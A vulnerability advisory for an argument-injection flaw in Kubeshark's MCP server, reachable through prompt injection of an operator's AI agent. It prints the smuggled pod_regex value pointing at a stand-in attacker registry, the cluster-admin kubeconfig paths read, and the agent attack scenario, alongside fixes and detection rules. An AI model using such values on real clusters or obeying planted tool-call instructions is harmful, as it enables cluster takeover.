CVE-2026-129236: Kubeshark MCP: arg injection yields cluster takeover

GHSA-8vf2-hxg5-crqhHIGH
Published November 16, 2026
CISO Take

Kubeshark's `kubeshark mcp` server (v53.1.0 to v53.3.0) passes the agent-supplied `pod_regex` to `kubeshark tap` as a bare positional argument. A value starting with `--set=` is therefore parsed as a Helm override, so an attacker who prompt-injects the agent can redirect the worker images to their own registry. Those workers run privileged with host mounts, and the reporter's proof of concept read the host's cluster-admin kubeconfigs, which is full cluster compromise from one tool argument. Exposure is narrower than the impact suggests: the `start_kubeshark` tool only exists when the operator runs the MCP server with the non-default `--allow-destructive` flag, and the host needs a kubeconfig that can deploy the DaemonSet. This is why the vendor scores it 7.2 High (AV:L/PR:H/UI:R). There is no known public exploit, no Nuclei template, no KEV listing, and no EPSS data yet. Upgrade to v53.4.0, which inserts a `--` separator before `pod_regex`. Until then, stop running the MCP server with `--allow-destructive` and give the host a least-privilege kubeconfig.

Sources:NVDGitHub AdvisoryATLASgithub.com/kubeshark/kubeshark

What is the risk?

Impact is critical (scope change to cluster-admin), but exploitability is constrained. The attacker needs indirect prompt injection that reaches an agent driving `kubeshark mcp --allow-destructive`. They also need an operator actively using the agent, a host holding a kubeconfig able to deploy a privileged DaemonSet, and an attacker-controlled registry and image. CVSS 7.2 High (AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H). EPSS is unavailable, no public exploit or scanner template exists, and the CVE is not in CISA KEV. The practical risk is highest for platform and SRE teams who connect agents that read untrusted content (tickets, logs, web pages, chat) to cluster-admin tooling. Every release from v53.1.0 to v53.3.0 is affected, so there is no safe window.

How does the attack unfold?

Initial Access
The attacker plants a prompt injection in content the operator's agent reads, targeting a host running `kubeshark mcp --allow-destructive`.
AML.T0051.001
Tool Invocation
The agent calls `start_kubeshark` with a `pod_regex` such as `--set=tap.docker.registry=...`, which cobra parses as a flag.
AML.T0053
Malicious Deployment
The overridden Helm values pull the attacker's image into the privileged, hostNetwork worker DaemonSet.
AML.T0010.004
Impact
The container escapes to the host, reads the cluster-admin kubeconfigs, and takes over the whole Kubernetes cluster.
AML.T0105

What systems are affected?

PackageEcosystemVulnerable RangePatched
github.com/kubeshark/kubesharkgo>= 0.0.2-0.20260206182249-0bbbb473ea3f, < 0.0.2-0.20260812200004-a76a1920dc750.0.2-0.20260812200004-a76a1920dc75

Do you use github.com/kubeshark/kubeshark? You're affected.

How severe is it?

CVSS 3.1
7.2 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 13% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What is the attack surface?

AVACPRUISCIA
AVLocal
ACHigh
PRHigh
UIRequired
SChanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade github.com/kubeshark/kubeshark to v53.4.0 or later (commit a76a1920, PR #1957). 2) Until patched, do not run kubeshark mcp with --allow-destructive. 3) Do not let the agent process untrusted content, and require human approval for start_kubeshark calls. 4) Restrict the kubeconfig on the MCP host to the minimum needed, and avoid cluster-admin credentials there. 5) Restrict image sources with admission policy (allowed registries, image signature verification) so an attacker registry is rejected. 6) Detection: audit MCP tool-call logs for pod_regex values starting with -. Alert on kubeshark tap invocations containing --set overrides for tap.docker.*. Alert on privileged DaemonSets pulling images from unapproved registries, and on unexpected reads of kubeconfig files on nodes.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15-Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Response to previously unknown risks
OWASP LLM Top 10
LLM01-Prompt InjectionLLM05-Improper Output HandlingLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-129236?

Kubeshark's `kubeshark mcp` server (v53.1.0 to v53.3.0) passes the agent-supplied `pod_regex` to `kubeshark tap` as a bare positional argument. A value starting with `--set=` is therefore parsed as a Helm override, so an attacker who prompt-injects the agent can redirect the worker images to their own registry. Those workers run privileged with host mounts, and the reporter's proof of concept read the host's cluster-admin kubeconfigs, which is full cluster compromise from one tool argument. Exposure is narrower than the impact suggests: the `start_kubeshark` tool only exists when the operator runs the MCP server with the non-default `--allow-destructive` flag, and the host needs a kubeconfig that can deploy the DaemonSet. This is why the vendor scores it 7.2 High (AV:L/PR:H/UI:R). There is no known public exploit, no Nuclei template, no KEV listing, and no EPSS data yet. Upgrade to v53.4.0, which inserts a `--` separator before `pod_regex`. Until then, stop running the MCP server with `--allow-destructive` and give the host a least-privilege kubeconfig.

Is CVE-2026-129236 actively exploited?

No confirmed active exploitation of CVE-2026-129236 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-129236?

1) Upgrade `github.com/kubeshark/kubeshark` to v53.4.0 or later (commit a76a1920, PR #1957). 2) Until patched, do not run `kubeshark mcp` with `--allow-destructive`. 3) Do not let the agent process untrusted content, and require human approval for `start_kubeshark` calls. 4) Restrict the kubeconfig on the MCP host to the minimum needed, and avoid cluster-admin credentials there. 5) Restrict image sources with admission policy (allowed registries, image signature verification) so an attacker registry is rejected. 6) Detection: audit MCP tool-call logs for `pod_regex` values starting with `-`. Alert on `kubeshark tap` invocations containing `--set` overrides for `tap.docker.*`. Alert on privileged DaemonSets pulling images from unapproved registries, and on unexpected reads of kubeconfig files on nodes.

What systems are affected by CVE-2026-129236?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, Kubernetes operations tooling, LLM-driven DevOps/SRE automation.

What is the CVSS score for CVE-2026-129236?

CVE-2026-129236 has a CVSS v3.1 base score of 7.2 (HIGH). The EPSS exploitation probability is 0.22%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serversKubernetes operations toolingLLM-driven DevOps/SRE automation

MITRE ATLAS Techniques

AML.T0010.004Container Registry
AML.T0051.001Indirect
AML.T0053AI Agent Tool Invocation
AML.T0055Unsecured Credentials
AML.T0105Escape to Host
AML.T0112.000Local AI Agent

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM01, LLM05, LLM06

What are the technical details?

Original Advisory

**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark` CLI, `kubeshark mcp` subcommand) **Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark` **Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) **Patched version:** `v53.4.0` **Credit:** novice-22 (Urim), via private coordinated disclosure. ## Summary The `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the caller-supplied `pod_regex` as a bare positional argument, with no `--` end-of-options separator. Because `tap` is a cobra command, a `pod_regex` that begins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An attacker who can influence the tool arguments (e.g. indirect prompt injection against an agent driving `kubeshark mcp --allow-destructive`) can inject arbitrary `--set` Helm value overrides — notably `tap.docker.registry` / `tap.docker.tag` — redirecting the deployed worker/hub/front images to an attacker-controlled registry. The worker DaemonSet runs privileged with `hostNetwork` and the host filesystem mounted, so an attacker image yields node and cluster-admin compromise. ## Introduced in Commit `0bbbb473` — "[1] Add MCP (Model Context Protocol) server command (#1832)", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The `pod_regex` argument has been appended as a bare positional since the tool's introduction; there is no regression window, every MCP-capable release is affected. ## Details In `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as `["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"]` with `pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic and there was no `--` guard, so `pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"` became a real `--set`. The tool is only registered when `kubeshark mcp --allow-destructive` is set. ## Proof of concept (reporter, abridged) Driving `kubeshark mcp --allow-destructive`: `start_kubeshark` with `pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"` caused the CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an attacker image. The image ran as root inside the privileged worker container and read the host's cluster-admin kubeconfigs (`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin takeover from a single `pod_regex` value. ## Impact Full Kubernetes cluster compromise (cluster-admin) from a single injected tool argument, when the operator runs the MCP server with `--allow-destructive`. ## Severity rationale Kubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The impact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin takeover is real and Kubeshark does not contest it. - **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local. - **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default `--allow-destructive` flag (without it `start_kubeshark` is not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one. Kubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and the attacker must stand up a malicious registry/image), **`UI:R`** (an operator must be actively driving the agent), and **`S:C`** (the compromise crosses from the CLI's authorization scope into the Kubernetes cluster — this is what keeps the score in the High band). ## Patches Fixed in **v53.4.0** by commit [`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214) (PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)). In `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a literal `--` end-of-options separator, so it is always parsed as the `[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` / `release_namespace` are passed through `-n` / `-s` value flags, which consume their value token and are therefore not injectable.) ## Workarounds - Do not run `kubeshark mcp` with `--allow-destructive` unless required. - Do not expose the MCP server to untrusted content / untrusted agent inputs. - Restrict the kubeconfig/permissions available to the machine running the MCP server.

Exploitation Scenario

An attacker plants instructions in content an SRE's AI agent will read, such as a support ticket, a log line or a web page. The agent has the Kubeshark MCP server connected with `--allow-destructive`. The instructions tell the agent to start Kubeshark with `pod_regex` set to `--set=tap.docker.registry=evil.example,tap.docker.tag=x`. The agent calls `start_kubeshark`, and the CLI runs `kubeshark tap --set=... --set headless=true`. The cluster pulls the attacker's image into the privileged worker DaemonSet, which runs as root with the host filesystem mounted. The attacker's container reads the control-plane kubeconfigs from the host, exfiltrates them, and gets cluster-admin access.

Weaknesses (CWE)

CWE-88 — Improper Neutralization of Argument Delimiters in a Command: The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

  • [Implementation] Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
  • [Architecture and Design] Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Timeline

Published
November 16, 2026
Last Modified
November 17, 2026
First Seen
November 17, 2026

Related Vulnerabilities